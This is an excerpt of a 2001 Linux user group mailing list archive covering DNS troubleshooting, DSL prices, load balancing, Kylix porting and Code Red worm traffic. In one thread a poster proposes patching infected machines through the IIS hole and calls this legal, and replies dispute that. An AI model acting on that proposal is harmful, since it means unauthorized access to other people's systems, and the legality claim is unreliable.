server. Real pain in the ars. > > > > Is there a public server avalible that I can put the numbers into my > > search Que on a temp basis till my ISP's DNS comes back on line? > > > > Kelly > > > > > > Sure, you can use all the root servers, that or just about any other DNS > > will > > > work, although picking one that is close to you makes lookups faster. > > > Here's the mediaone servers: > > > 24.31.3.8 > > > 24.31.3.9 > > > > > > -- > > > Jon Schewe | http://mtu.net/~jpschewe > > > For I am convinced that neither death nor life, neither angels > > > nor demons, neither the present nor the future, nor any > > > powers, neither height nor depth, nor anything else in all > > > creation, will be able to separate us from the love of God that > > > is in Christ Jesus our Lord. - Romans 8:38-39 > > > _______________________________________________ > > > tclug-list mailing list > > > tclug-list@mn-linux.org > > > https://mailman.mn-linux.org/mailman/listinfo/tclug-list > > > > > > > _______________________________________________ > > tclug-list mailing list > > tclug-list@mn-linux.org > > https://mailman.mn-linux.org/mailman/listinfo/tclug-list > > > > _______________________________________________ > tclug-list mailing list > tclug-list@mn-linux.org > https://mailman.mn-linux.org/mailman/listinfo/tclug-list -- Jon Schewe | http://mtu.net/~jpschewe For I am convinced that neither death nor life, neither angels nor demons, neither the present nor the future, nor any powers, neither height nor depth, nor anything else in all creation, will be able to separate us from the love of God that is in Christ Jesus our Lord. - Romans 8:38-39 From joel at luths.net Mon Aug 6 23:08:30 2001 From: joel at luths.net (Joel Luth) Date: Mon Jan 17 13:25:39 2005 Subject: [TCLUG] (no subject) References: <01080322215000.01069@dedannshae.thuria.org> Message-ID: <03a601c11ef6$9dd8be20$6601a8c0@cargill.com> I'd gladly consider Real-Time, but the prices on their web page for 512/640 w/ fixed IP appear *way* more ($210) than I am currently paying Qwest (~$45 iirc). Am I misreading something here? ----- Original Message ----- From: "Dave Sherman" To: ; "Lowe, Jason" Sent: Friday, August 03, 2001 10:21 PM Subject: Re: [TCLUG] (no subject) > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > The impending switch to MSN is why I just moved my access from Qwest to > Real-Time. Up until then, I actually had good service from Qwest, and > probably would not have changed. Then again, I'm glad I was "forced" to > change, cuz the crew at R-T rocks! ;-) > > Dave Sherman > > On Friday 03 August 2001 13:18, thus spake Lowe, Jason: > > Exactly. the last time I checked I could use any ISP I wanted. > > > > -----Original Message----- > > From: Nate Carlson [mailto:natecars@real-time.com] > > Sent: Friday, August 03, 2001 1:19 PM > > To: tclug-list@mn-linux.org > > Subject: Re: [TCLUG] (no subject) > > > > On Fri, 3 Aug 2001 swalkup@isd.net wrote: > > > http://www.qwest.net/nav4/msn/faq.html > > > > > > Kinda glad I don't have DSL in my area yet. > > > > Ah, but even if you did have DSL in the area, why would you use > > Qwest/MSN as your ISP? :) > > - -- > "Nihil tam munitum quod non expugnari pecunia possit." (No > fortification is such that it cannot be subdued with money.) > - - Marcus Tullius Cicero, 106-43 B.C. > -----BEGIN PGP SIGNATURE----- > Version: GnuPG v1.0.6 (GNU/Linux) > Comment: For info see http://www.gnupg.org > > iD8DBQE7a2pRA68l26XsZUYRAuWaAKDARrchFmTfjgsY9JAvUmUM59ZHvwCg3zx5 > 1d2AboXv9QJUL+/wnJKC41I= > =IHTr > -----END PGP SIGNATURE----- > _______________________________________________ > tclug-list mailing list > tclug-list@mn-linux.org > https://mailman.mn-linux.org/mailman/listinfo/tclug-list > > From kelly at ncis.com Mon Aug 6 23:18:35 2001 From: kelly at ncis.com (Kelly) Date: Mon Jan 17 13:25:39 2005 Subject: [TCLUG] DNS question References: <002b01c11eee$8ef42820$0a01a8c0@inet> <20010806231826.C28300@mtu.net> <003301c11ef1$6b1b7e00$0a01a8c0@inet> <004b01c11ef2$c61a0f00$0a01a8c0@inet> <20010807000637.E28300@mtu.net> Message-ID: <006b01c11ef8$07827f40$0a01a8c0@inet> Strange. I cant ping it or do a tracert on it. Kelly ----- Original Message ----- From: "Jon Schewe" To: Sent: Monday, August 06, 2001 11:06 PM Subject: Re: [TCLUG] DNS question > Yeah. > On Mon, Aug 06, 2001 at 10:40:58PM -0500, Kelly wrote: > > Is that a legal ip number? > > > > > > ----- Original Message ----- > > From: "Kelly" > > To: > > Sent: Monday, August 06, 2001 10:31 PM > > Subject: Re: [TCLUG] DNS question > > > > > > > Thank you very much. > > > Seems to happen about once a month. Usually when I need to find something > > > real bad. > > > Kelly > > > > > > > > > ----- Original Message ----- > > > From: "Jon Schewe" > > > To: > > > Sent: Monday, August 06, 2001 10:18 PM > > > Subject: Re: [TCLUG] DNS question > > > > > > > > > > On Mon, Aug 06, 2001 at 10:10:47PM -0500, Kelly wrote: > > > > > Ok here is one. My ISP some times allows me to connect to the internet > > > but thier DNS server is not working properly. Thus limiting me to only the > > > sites that are cached on my routers dns server. Real pain in the ars. > > > > > Is there a public server avalible that I can put the numbers into my > > > search Que on a temp basis till my ISP's DNS comes back on line? > > > > > Kelly > > > > > > > > Sure, you can use all the root servers, that or just about any other DNS > > > will > > > > work, although picking one that is close to you makes lookups faster. > > > > Here's the mediaone servers: > > > > 24.31.3.8 > > > > 24.31.3.9 > > > > > > > > -- > > > > Jon Schewe | http://mtu.net/~jpschewe > > > > For I am convinced that neither death nor life, neither angels > > > > nor demons, neither the present nor the future, nor any > > > > powers, neither height nor depth, nor anything else in all > > > > creation, will be able to separate us from the love of God that > > > > is in Christ Jesus our Lord. - Romans 8:38-39 > > > > _______________________________________________ > > > > tclug-list mailing list > > > > tclug-list@mn-linux.org > > > > https://mailman.mn-linux.org/mailman/listinfo/tclug-list > > > > > > > > > > _______________________________________________ > > > tclug-list mailing list > > > tclug-list@mn-linux.org > > > https://mailman.mn-linux.org/mailman/listinfo/tclug-list > > > > > > > _______________________________________________ > > tclug-list mailing list > > tclug-list@mn-linux.org > > https://mailman.mn-linux.org/mailman/listinfo/tclug-list > > -- > Jon Schewe | http://mtu.net/~jpschewe > For I am convinced that neither death nor life, neither angels > nor demons, neither the present nor the future, nor any > powers, neither height nor depth, nor anything else in all > creation, will be able to separate us from the love of God that > is in Christ Jesus our Lord. - Romans 8:38-39 > _______________________________________________ > tclug-list mailing list > tclug-list@mn-linux.org > https://mailman.mn-linux.org/mailman/listinfo/tclug-list > From ssinn at qwest.net Mon Aug 6 23:37:28 2001 From: ssinn at qwest.net (Spencer J Sinn) Date: Mon Jan 17 13:25:39 2005 Subject: [TCLUG] (no subject) In-Reply-To: <03a601c11ef6$9dd8be20$6601a8c0@cargill.com>; from joel@luths.net on Mon, Aug 06, 2001 at 11:08:30PM -0500 References: <01080322215000.01069@dedannshae.thuria.org> <03a601c11ef6$9dd8be20$6601a8c0@cargill.com> Message-ID: <20010806233728.B11909@thor> I think you want to look at the residential DSL prices... For 512k/640k its $50/mo + $10 if you *need* a static IP On Mon, Aug 06, 2001 at 11:08:30PM -0500, Joel Luth wrote: > I'd gladly consider Real-Time, but the prices on their web page for 512/640 > w/ fixed IP appear *way* more ($210) than I am currently paying Qwest (~$45 > iirc). Am I misreading something here? > > > -- Thanks, Spencer J Sinn From austad at marketwatch.com Mon Aug 6 23:52:59 2001 From: austad at marketwatch.com (Austad, Jay) Date: Mon Jan 17 13:25:40 2005 Subject: [TCLUG] internet-connection load-balancing Message-ID: <54180709DD3FE145917BB165AFE7EFA00A8439@mspexch2.office.mktw.net> You can't load balance a tcp session between two isp's on the packet level. If the source address changes halfway through the session, the remote machine is going to ignore those packets. If you want to load balance using your little dns scheme, you will have to set very low TTL's, which means you better make damn sure your nameservers are available 24/7. The 3dns from F5 (http://www.f5.com) does sort of what you want. You set up a WIP (Wide IP), and point the WIP to multiple VIPS (Virtual IP's, or hosts). The 3dns will hand out the ip's based on the logical distance from each server to the client, and based on whether or not your servers are accessible or not. But, they cost around $30k each, so you probably don't even wanna look into it. I know Eddie (http://www.eddieware.org) has it's own dns server, and you may be able to do what you want with that. As far as balancing outbound connections, you're probably SOL if you wanna make something that works reliably. The way most people handle connections from multiple providers is by using BGP and advertising their networks through both providers. But I highly doubt you'll be able to get an ISP to provide you a BGP session over your DSL line, plus, you'll need to buy a much more expensive router to be able to do BGP (although, you can do it with linux using MRTD). But, there's basically zero chance that your ISP will accept routes from you over your DSL line. This is a lot more complicated problem than it originally sounds. But if you're just doing it to serve out content, you could just do a round-robin dns scheme. Your max outbound speed on a single connection will be the max speed of only one of the DSL lines (since you can't load balance on a packet level with the connections you have). Get yourself a T1 if you really need the amount of bandwidth that 2 dsl lines will give you. Onvoy is running a deal where you can get a full T1, unlimited usage, for around $650/mo including the loop fee (+/- $30) with only a 1 year contract. That's a sweet deal. I was going to do it, and split the cost w/ my roommate, but $325/mo is a ton of computer equipment, mods for my car, or house improvements. Jay -----Original Message----- From: Marc Ohmann [mailto:mohmann@qwest.net] Sent: Monday, August 06, 2001 7:33 PM To: tclug-list@mn-linux.org Subject: [TCLUG] internet-connection load-balancing Does anyone out there have any experience load balancing internet connections (DSL in this case) using Linux? If so, what are the implications when the connections are provided by separate ISPs? And how can dns be setup to load balance the links? From my understanding the separate ISPs wouldn't be a concern because two nics on the same box can be setup on separate networks. The dns problem is the most intreguing to me, concidering that the dns would be setup on the load balanced network. The ips listed with the domain registrars would be one for ISP1_LINK and one for ISP2_LINK so initially all dns requests would come over the link from ISP1 (unless it was down). From there the local dns server would check a table to see wich link was more available and return the ip for that domain. So in effect it would be load balanced on the request level and not on the packet level. Does this sound like a plossible scheme? Is there a way to do it on the packet level? Thanks in advance for any insight, Marc _______________________________________________ tclug-list mailing list tclug-list@mn-linux.org https://mailman.mn-linux.org/mailman/listinfo/tclug-list From rsinland at gvtel.com Tue Aug 7 00:04:25 2001 From: rsinland at gvtel.com (Robert Sinland) Date: Mon Jan 17 13:25:40 2005 Subject: [TCLUG] OT (real off topic..sorta) References: <00b601c11ef4$3f462660$6601a8c0@zippy> Message-ID: <3B6F76D9.75E367F2@gvtel.com> I have been looking for a scanning hand-held radio that would pick up police and fire bands. Seems like Uniden has a corner on the market there. Was just wondering if anyone could throw a few recomendations at me. For the record I live in a very rural area, so I don't think I need all that many channels. I could be wrong though... Don't know a damn thing about these scanners:) Reason I'd like one is that I work nights, and we have shit happen fairly often in the parking lots. I call 911 etc, but I never get to hear how it ends up... Thank's for any info... RS From tanner at real-time.com Tue Aug 7 00:13:03 2001 From: tanner at real-time.com (Bob Tanner) Date: Mon Jan 17 13:25:40 2005 Subject: [TCLUG] pcmcia networking and ntp Message-ID: <20010807001303.C6162@real-time.com> Anyone else see the "bug" in using pcmcia eth and ntp under Redhat 7.0? ntp starts at runlevel 2, but the pcmcia eth interface is not fully active until runlevel 5, thus ntp does really set the clock appropriately. -- Bob Tanner | Phone : (952)943-8700 http://www.mn-linux.org | Fax : (952)943-8500 Key fingerprint = 6C E9 51 4F D5 3E 4C 66 62 A9 10 E5 35 85 39 D9 From eng at pinenet.com Tue Aug 7 05:30:12 2001 From: eng at pinenet.com (Rick Engebretson) Date: Mon Jan 17 13:25:40 2005 Subject: [TCLUG] Kylix: Linux-->Windows Porting.sdm In-Reply-To: <01080618175900.00666@192.168.0.7> References: <54180709DD3FE145917BB165AFE7EFA00A8433@mspexch2.office.mktw.net> <01080618175900.00666@192.168.0.7> Message-ID: <20010807.10301200@linwin.mshome.net> After a meeting today there will be many experts able to answer this question better than me. But I'll share what little I know. The Windows version (Delphi) and the Linux version (Kylix) use different libraries. Windows uses VCL (Visual Component Libraries), Linux uses CLX, Windows uses *.dll runtime libraries, Linux uses *.so runtime libraries. These libraries are simply the precoded tools that allow your program to access the operating system's programming interface. So, of course they are different for different operating systems. Delphi 6 advertises itself as Kylix compatible. I haven't seen it so I don't know what that means. But with the modern IDE being so full of wizards, it would seem quite possible to automatically convert source code to one or the other or both operating systems. A Borland representative will be at the Thunderbird Hotel in Bloomington today and is surely whom you need to ask. This link might help; http://www.tcpc.com/. >>>>>>>>>>>>>>>>>> Original Message <<<<<<<<<<<<<<<<<< On 8/6/01, 6:17:59 PM, Brian Carter-Stiglitz wrote regarding [TCLUG] Kylix: Linux-->Windows Porting.sdm: > If i code up a program in kylix, can i compile it using kylix to create a > windows application or do i need to compile it on a windows machine with > delphi? if the prior is possible please let me know how it is done. Also, > once you get the application working in windows to run it the computer needs > the CLX libraries-- are these wide spread or would you basically have to > distribute them with the application? > cheers, > bc-s > _______________________________________________ > tclug-list mailing list > tclug-list@mn-linux.org > https://mailman.mn-linux.org/mailman/listinfo/tclug-list From eng at pinenet.com Tue Aug 7 05:55:39 2001 From: eng at pinenet.com (Rick Engebretson) Date: Mon Jan 17 13:25:40 2005 Subject: [TCLUG] Digital Broadcasting Message-ID: <20010807.10553900@linwin.mshome.net> The TV stations sure have plenty of bandwidth and range, and commercial time to kill. Perhaps a compatible encoding protocol is conceivable that will allow widespread, high speed computer downloads. From bgilbertson at stonel.com Tue Aug 7 07:50:05 2001 From: bgilbertson at stonel.com (Bob Gilbertson) Date: Mon Jan 17 13:25:40 2005 Subject: [TCLUG] OT (real off topic..sorta) References: <00b601c11ef4$3f462660$6601a8c0@zippy> <3B6F76D9.75E367F2@gvtel.com> Message-ID: <3B6FE3FD.40370E7E@stonel.com> Robert, If Radio Shack, etc. don't have what you're looking for, you might try an Amateur Radio outlet. They won't sell you a transmitter without a Ham license, but they also sell scanners. Couple in our region: Burghardts and Radio City. Have purchased stuff from Burghardts-good folks, haven't dealt with Radio City. One caveat, if fire/law/medical services use analog a scanner will receive them, if they digitally encode their transmissions you won't. Some do, some don't, depends on age of their equipment. http://www.radioinc.com/ http://www.burghardt-amateur.com/ HTH Bob Robert Sinland wrote: > > I have been looking for a scanning hand-held radio that would > pick up police and fire bands. Seems like Uniden has a corner > on the market there. Was just wondering if anyone could throw > a few recomendations at me. For the record I live in a very From kent at structural-wood.com Tue Aug 7 07:58:39 2001 From: kent at structural-wood.com (Kent Schumacher) Date: Mon Jan 17 13:25:40 2005 Subject: Stop the Insanity (was: Re: [TCLUG] more pointless posts to clog up your mailboxes.) References: <54180709DD3FE145917BB165AFE7EFA00A8431@mspexch2.office.mktw.net> <20010806154946.35ba327e.blayer@qwest.net> Message-ID: <3B6FE5FF.B8EFB86D@structural-wood.com> Bill Layer wrote: > > On Mon, 6 Aug 2001 15:42:43 -0500 > "Austad, Jay" wrote: > > > However, I'd like to think of it as a family activity when we're all > kicking > > your ass. > > Say, didn't this list used to be more geeking and less asskicking? =/ > > -.bill.layer.- > > -.hi, how are you? I send you this email to kick your ass.- > Well, at least we are restricting it to kicking geek ass... From veldy at veldy.net Tue Aug 7 08:18:05 2001 From: veldy at veldy.net (Thomas T. Veldhouse) Date: Mon Jan 17 13:25:40 2005 Subject: [TCLUG] OT: Lights Out? References: <20010806185911.A6692@ringworld.org> <01080619135801.00666@192.168.0.7> <005201c11ed6$b5ebf920$0101a8c0@cascade> <01080620072800.08628@localhost.localdomain> Message-ID: <003d01c11f43$659a3780$3028680a@tgt.com> You know -- massive wind energy harvesting has as much potential to change the climate as does farming, which has been shown to affect moisture levels and temperatures in nearby areas (scale of hundreds of miles). Farming has affected rainfall amounds hundreds of miles away. A very large amount of wind turbines scattered all over the great plains and beyond will add resistance to the earth's surface that did not exist before. This will not be without ecological effect. And, it might just look bad too. Just being the devils advocate. Tom Veldhouse veldy@veldy.net ----- Original Message ----- From: "K Hinze" To: Sent: Monday, August 06, 2001 8:07 PM Subject: Re: [TCLUG] OT: Lights Out? > On Monday 06 August 2001 07:20 pm, you wrote: > > These things are not nearly as dangerous to the environment. For one > > thing, they are solid speres and there is no liquid waste. Thus, they > > could be buried, worst case would be in cement or steel slabs. I am sure > > there are some logistics involved, but it is not anywhere near as much of a > > problem as current reactor waste, as there is heavy water generated in > > these reactors which must be stored. > > My whole point with the wind energy debacle, you don't need to bury a turbine > or encase it in cement for the next 10,000 years after its life expentancy. > I feel that it doesn't matter wether it is liquid waste, or solid waste, rods > vs spheres, you're still just making steam to turn a turbine. > Comparative cost of producing wind turbines vs cost of manufacture, > transport, utilize, recycle (into what?) and dispose safely for the next few > millenia, uranium or a derivative, wind is cheaper. > >From an efficiency standpoint, all around, wind uses less energy to produce a > kilowatt hour of returned energy than any other power source in place today, > including solar. (Photovoltags are very expensive and toxic to produce). > OK I am done. Forgive me if this off-topic has severely hampered your ability > to stay cool or sane. > That Is All! > -Kevin Hinze > _______________________________________________ > tclug-list mailing list > tclug-list@mn-linux.org > https://mailman.mn-linux.org/mailman/listinfo/tclug-list > From jpschewe at mtu.net Tue Aug 7 08:24:38 2001 From: jpschewe at mtu.net (Jon Schewe) Date: Mon Jan 17 13:25:40 2005 Subject: [TCLUG] DNS question In-Reply-To: <006b01c11ef8$07827f40$0a01a8c0@inet>; from kelly@ncis.com on Mon, Aug 06, 2001 at 11:18:35PM -0500 References: <002b01c11eee$8ef42820$0a01a8c0@inet> <20010806231826.C28300@mtu.net> <003301c11ef1$6b1b7e00$0a01a8c0@inet> <004b01c11ef2$c61a0f00$0a01a8c0@inet> <20010807000637.E28300@mtu.net> <006b01c11ef8$07827f40$0a01a8c0@inet> Message-ID: <20010807092438.A12929@mtu.net> I wouldn't be surprised if they're dropping those packets. Try this: ~> nslookup > server 24.31.3.9 > mtu.net You should get the address for mtu.net. -- Jon Schewe | http://mtu.net/~jpschewe For I am convinced that neither death nor life, neither angels nor demons, neither the present nor the future, nor any powers, neither height nor depth, nor anything else in all creation, will be able to separate us from the love of God that is in Christ Jesus our Lord. - Romans 8:38-39 From dsherman at real-time.com Tue Aug 7 08:33:00 2001 From: dsherman at real-time.com (Dave Sherman) Date: Mon Jan 17 13:25:40 2005 Subject: [TCLUG] (no subject) In-Reply-To: <03a601c11ef6$9dd8be20$6601a8c0@cargill.com> References: <01080322215000.01069@dedannshae.thuria.org> <03a601c11ef6$9dd8be20$6601a8c0@cargill.com> Message-ID: <01080708330001.01065@dedannshae.thuria.org> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 I think you're looking at the wrong section. Home DSL (equivalent to Qwest's "Deluxe" DSL, NOT the "Select" version), with 256k up / 640k down, only costs $25/month. Add another $10/month for a static IP. For 512k up, the price is $50/month (+ $10 for static IP). Dave On Monday 06 August 2001 23:08, thus spake Joel Luth: > I'd gladly consider Real-Time, but the prices on their web page for > 512/640 w/ fixed IP appear *way* more ($210) than I am currently paying > Qwest (~$45 iirc). Am I misreading something here? > > ----- Original Message ----- > From: "Dave Sherman" > To: ; "Lowe, Jason" > Sent: Friday, August 03, 2001 10:21 PM > Subject: Re: [TCLUG] (no subject) > > > -----BEGIN PGP SIGNED MESSAGE----- > > Hash: SHA1 > > > > The impending switch to MSN is why I just moved my access from Qwest > > to Real-Time. Up until then, I actually had good service from Qwest, > > and probably would not have changed. Then again, I'm glad I was > > "forced" to change, cuz the crew at R-T rocks! ;-) - -- "Nihil tam munitum quod non expugnari pecunia possit." (No fortification is such that it cannot be subdued with money.) - - Marcus Tullius Cicero, 106-43 B.C. -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org iD8DBQE7b+4NA68l26XsZUYRAgrgAJ0YFVXiBWRPnJeCHvuQqUDsZHeVKwCgvawR ii4JFO/cC4nZHgziJgPtHYw= =g1CZ -----END PGP SIGNATURE----- From drake at lemongecko.myip.org Tue Aug 7 07:29:17 2001 From: drake at lemongecko.myip.org (Dan Drake) Date: Mon Jan 17 13:25:40 2005 Subject: [TCLUG] 10, 10^9 (10^10?) In-Reply-To: <20010806201503.6ca27092.hick0088@tc.umn.edu> References: <20010806201503.6ca27092.hick0088@tc.umn.edu> Message-ID: <20010807082917.A25337@lemongecko.org> On Mon, Aug 06, 2001 at 08:15:03PM -0500, Mike Hicks wrote: > Has anyone thought more about putting together something for Linux's 10th > birthday? Or the 1 billion (10^9) second mark in Unix time? I suppose we > could combine stuff into a 10^10 party ;-) Conveniently, the 1-billion second mark falls on a Saturday! And at about quarter to nine in the evening. One more reason why Unix is better... I was planning on having a picnic with some friends that day anyway -- perhaps we could have some big uber-picnic/beermeeting/party/whatever somewhere. Dan -- lemon | Dan Drake + gecko | drake@lemongecko.org ----- | http://lemongecko.org/drake ?! | From jspinti at dart.dartdist.com Tue Aug 7 08:59:10 2001 From: jspinti at dart.dartdist.com (James Spinti) Date: Mon Jan 17 13:25:40 2005 Subject: [TCLUG] CBOS 2.4.2 online http://www.mn-linux.org/members/tanner/ In-Reply-To: <20010720005934.A14990@real-time.com> Message-ID: Bob, Maybe you should send your link to StarTribune, seems Qwest is still clueless (one month later...) http://www.startribune.com/viewers/qview/cgi/qview.cgi?template=tech_a_cache &slug=worm07 Thanks, James Spinti jspinti at dartdist.com 952-368-3278 x396 fax 952-368-3255 | |Ok, this problem is way out of hand, so I'm putting the latest CBOS online |here: | |http://www.mn-linux.org/members/tanner | |Since Qwest is total clueless on handling this sort of problem and |refused my |request to put the upgrade up on their site, I'll do it myself. | |-- |Bob Tanner | Phone : (952)943-8700 |http://www.mn-linux.org | Fax : (952)943-8500 |Key fingerprint = 6C E9 51 4F D5 3E 4C 66 62 A9 10 E5 35 85 39 D9 | |_______________________________________________ |tclug-list mailing list |tclug-list@mn-linux.org |https://mailman.mn-linux.org/mailman/listinfo/tclug-list | From zibby+tclug at ringworld.org Tue Aug 7 08:55:28 2001 From: zibby+tclug at ringworld.org (Andy Zbikowski (Zibby)) Date: Mon Jan 17 13:25:40 2005 Subject: [TCLUG] Debian / Gnome Question In-Reply-To: <20010807031445.A77274@io.stderr.net> Message-ID: Do you have icewm or icewm-gnome installed? Other gnome window managers in Debian: sawfish, really nice lightweight window manager. enlightenment, but just say no. Bloat bloat bloat... Window Maker, but that gets a bit strange with GNOME. I'm sure they're are others that I've overlooked. Most recent distros default to sawfish for use with GNOME, because it was designed to do that. What can be done with GNOME doesn't need to be done in Sawfish... Andrew S. Zbikowski | http://www.ringworld.org "We can learn much more from wise words, little from wisecracks and less from wise guys." --William Arthur Ward From zibby+tclug at ringworld.org Tue Aug 7 08:59:33 2001 From: zibby+tclug at ringworld.org (Andy Zbikowski (Zibby)) Date: Mon Jan 17 13:25:40 2005 Subject: [TCLUG] Digital Broadcasting In-Reply-To: <20010807.10553900@linwin.mshome.net> Message-ID: On Tue, 7 Aug 2001, Rick Engebretson wrote: > The TV stations sure have plenty of bandwidth and range, and commercial > time to kill. Perhaps a compatible encoding protocol is conceivable that > will allow widespread, high speed computer downloads. Are you trying to make a funny or has it been comfortable under that rock the past few years? Cable Modem service is offered by AT&T and Time Warner. How you missed out on that is beyond me, unless you really are living under a rock...strangest post I've seen in awile. Andrew S. Zbikowski | http://www.ringworld.org "We can learn much more from wise words, little from wisecracks and less from wise guys." --William Arthur Ward From esper at sherohman.org Tue Aug 7 09:09:57 2001 From: esper at sherohman.org (Dave Sherohman) Date: Mon Jan 17 13:25:40 2005 Subject: [TCLUG] Kylix: Linux-->Windows Porting.sdm In-Reply-To: <20010807.10301200@linwin.mshome.net>; from eng@pinenet.com on Tue, Aug 07, 2001 at 10:30:12AM +0000 References: <54180709DD3FE145917BB165AFE7EFA00A8433@mspexch2.office.mktw.net> <01080618175900.00666@192.168.0.7> <20010807.10301200@linwin.mshome.net> Message-ID: <20010807090957.D28861@sherohman.org> On Tue, Aug 07, 2001 at 10:30:12AM +0000, Rick Engebretson wrote: > The Windows version (Delphi) and the Linux version (Kylix) use different > libraries. Windows uses VCL (Visual Component Libraries), Linux uses CLX, > Windows uses *.dll runtime libraries, Linux uses *.so runtime libraries. > These libraries are simply the precoded tools that allow your program to > access the operating system's programming interface. So, of course they > are different for different operating systems. Good points and entirely correct. > Delphi 6 advertises itself as Kylix compatible. I haven't seen it so I > don't know what that means. But with the modern IDE being so full of > wizards, it would seem quite possible to automatically convert source > code to one or the other or both operating systems. No wizards or conversion required. According to all that has been said, Delphi and Kylix are nearly-100% source compatible. Just write the code in one, load it in the other, and compile. (Of course, this is much easier to do when, like Borland, you have full control of the language...) -- With the arrest of Dimitry Sklyarov it has become apparent that it is not safe for non US software engineers to visit the United States. - Alan Cox "To prevent unauthorized reading..." - Adobe eBook reader license From lxy at cloudnet.com Tue Aug 7 09:41:29 2001 From: lxy at cloudnet.com (Brian) Date: Mon Jan 17 13:25:40 2005 Subject: [TCLUG] CBOS 2.4.2 online http://www.mn-linux.org/members/tanner/ In-Reply-To: Message-ID: On Tue, 7 Aug 2001, James Spinti wrote: > Maybe you should send your link to StarTribune, seems Qwest is still > clueless (one month later...) > > http://www.startribune.com/viewers/qview/cgi/qview.cgi?template=tech_a_cache > &slug=worm07 Umm... wow, this article really sucks. Paraphrased quote: "Qwest wouldn't comment on how soon service will be restored". Well, if you ask questions like that you'll never get the right story folks :-) On a side note, I saw a trick posted here about using nat to send port 80 requests off into the bit bucket. Does that effectively work? I know a few people who could do that that probably aren't ready to upgrade CBOS on their own. 1179 Code Red hits since 4 AM Sun and still counting.... -Brian From blutgens at sistina.com Tue Aug 7 09:43:36 2001 From: blutgens at sistina.com (Ben Lutgens) Date: Mon Jan 17 13:25:41 2005 Subject: [TCLUG] DNS question In-Reply-To: <002b01c11eee$8ef42820$0a01a8c0@inet>; from kelly@ncis.com on Mon, Aug 06, 2001 at 10:10:47PM -0500 References: <002b01c11eee$8ef42820$0a01a8c0@inet> Message-ID: <20010807094336.B502@minime.sistina.com> On Mon, Aug 06, 2001 at 10:10:47PM -0500, Kelly wrote: > > Ok here is one. My ISP some times allows me to connect to the internet > but thier DNS server is not working properly. Thus limiting me to only > the sites that are cached on my routers dns server. Real pain in the > ars. Run a linux box at home sporting bind ( or your favorite DNS server package ) as a caching only nameserver. > > Is there a public server avalible that I can put the numbers into my > search Que on a temp basis till my ISP's DNS comes back on line? > > Kelly -- Ben Lutgens Sistina Software Inc. What's the difference between root and God ? God doesn't think that he is root. -------------- next part -------------- A non-text attachment was scrubbed... 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It's incredibly easy. http://www.linuxdoc.org/HOWTO/DNS-HOWTO.html >Kelly > > >----- Original Message ----- >From: "Jon Schewe" >To: >Sent: Monday, August 06, 2001 10:18 PM >Subject: Re: [TCLUG] DNS question > > >> On Mon, Aug 06, 2001 at 10:10:47PM -0500, Kelly wrote: >> > Ok here is one. My ISP some times allows me to connect to the internet >but thier DNS server is not working properly. Thus limiting me to only the >sites that are cached on my routers dns server. Real pain in the ars. >> > Is there a public server avalible that I can put the numbers into my >search Que on a temp basis till my ISP's DNS comes back on line? >> > Kelly >> >> Sure, you can use all the root servers, that or just about any other DNS >will >> work, although picking one that is close to you makes lookups faster. >> Here's the mediaone servers: >> 24.31.3.8 >> 24.31.3.9 >> >> -- >> Jon Schewe | http://mtu.net/~jpschewe >> For I am convinced that neither death nor life, neither angels >> nor demons, neither the present nor the future, nor any >> powers, neither height nor depth, nor anything else in all >> creation, will be able to separate us from the love of God that >> is in Christ Jesus our Lord. - Romans 8:38-39 >> _______________________________________________ >> tclug-list mailing list >> tclug-list@mn-linux.org >> https://mailman.mn-linux.org/mailman/listinfo/tclug-list >> > >_______________________________________________ >tclug-list mailing list >tclug-list@mn-linux.org >https://mailman.mn-linux.org/mailman/listinfo/tclug-list -- Ben Lutgens Sistina Software Inc. What's the difference between root and God ? God doesn't think that he is root. -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 232 bytes Desc: not available Url : http://shadowknight.real-time.com/pipermail/tclug-list/attachments/20010807/715c8133/attachment.pgp From jstauffer at spscommerce.com Tue Aug 7 10:34:23 2001 From: jstauffer at spscommerce.com (James Stauffer) Date: Mon Jan 17 13:25:41 2005 Subject: [TCLUG] Code Red Auto Fix Message-ID: <29003634378AD4119E940050046C0CDF01E4B2DF@spedi-exchange> Would it work to write a program that listens for the default.ida request and then sends back a patch through the hole to IIS on the machine with the virus? It wouldn't be a virus because it would not spread (it would not send itself, only the patch). It's legality shouldn't be a problem because you are only protecting your computer and not harming the other computer. It could also try to email webmaster at the machine. o o o o o o o . . . __________________________ ______=======_||___ o _____ | James A. N. Stauffer | | JStauffer@ | .][__n_n_|DD[ ====____ | Spam food: uce@ftc.gov | | SPSCommerce.com | >(________|__|_[________]_|________________________|_|_________________| _/oo OOOOO oo` ooo ooo 'o?o?o o?o?o` 'o?o o?o` -------------- next part -------------- An HTML attachment was scrubbed... URL: http://shadowknight.real-time.com/pipermail/tclug-list/attachments/20010807/42e36a34/attachment.htm From lxy at cloudnet.com Tue Aug 7 11:06:16 2001 From: lxy at cloudnet.com (Brian) Date: Mon Jan 17 13:25:41 2005 Subject: [TCLUG] Code Red Auto Fix In-Reply-To: <29003634378AD4119E940050046C0CDF01E4B2DF@spedi-exchange> Message-ID: On Tue, 7 Aug 2001, James Stauffer wrote: > send itself, only the patch). It's legality shouldn't be a problem because > you are only protecting your computer and not harming the other computer. > It could also try to email webmaster at the machine. It's still a legal issue because you're technically "breaking in" to another computer. While I agree that it'd be a Nice Thing To Do(tm) it'd still be called "hacking" by some of the not so bright law makers and you'd still go to jail. Sad, isn't it? -Brian From ssinn at qwest.net Tue Aug 7 10:58:51 2001 From: ssinn at qwest.net (Spencer J Sinn) Date: Mon Jan 17 13:25:41 2005 Subject: [TCLUG] Code Red Auto Fix In-Reply-To: <29003634378AD4119E940050046C0CDF01E4B2DF@spedi-exchange>; from jstauffer@spscommerce.com on Tue, Aug 07, 2001 at 10:34:23AM -0500 References: <29003634378AD4119E940050046C0CDF01E4B2DF@spedi-exchange> Message-ID: <20010807105851.A12783@thor> Making changes or modifications to anyones machine without their express consent is illegal. Setting up an auto-mailer to contact the webmaster is not a bad idea. That is until their mail spools fill up from the auto-responders. The best cure is for people to take responsibility for their systems. On Tue, Aug 07, 2001 at 10:34:23AM -0500, James Stauffer wrote: > Would it work to write a program that listens for the default.ida request > and then sends back a patch through the hole to IIS on the machine with the > virus? It wouldn't be a virus because it would not spread (it would not > send itself, only the patch). It's legality shouldn't be a problem because > you are only protecting your computer and not harming the other computer. > It could also try to 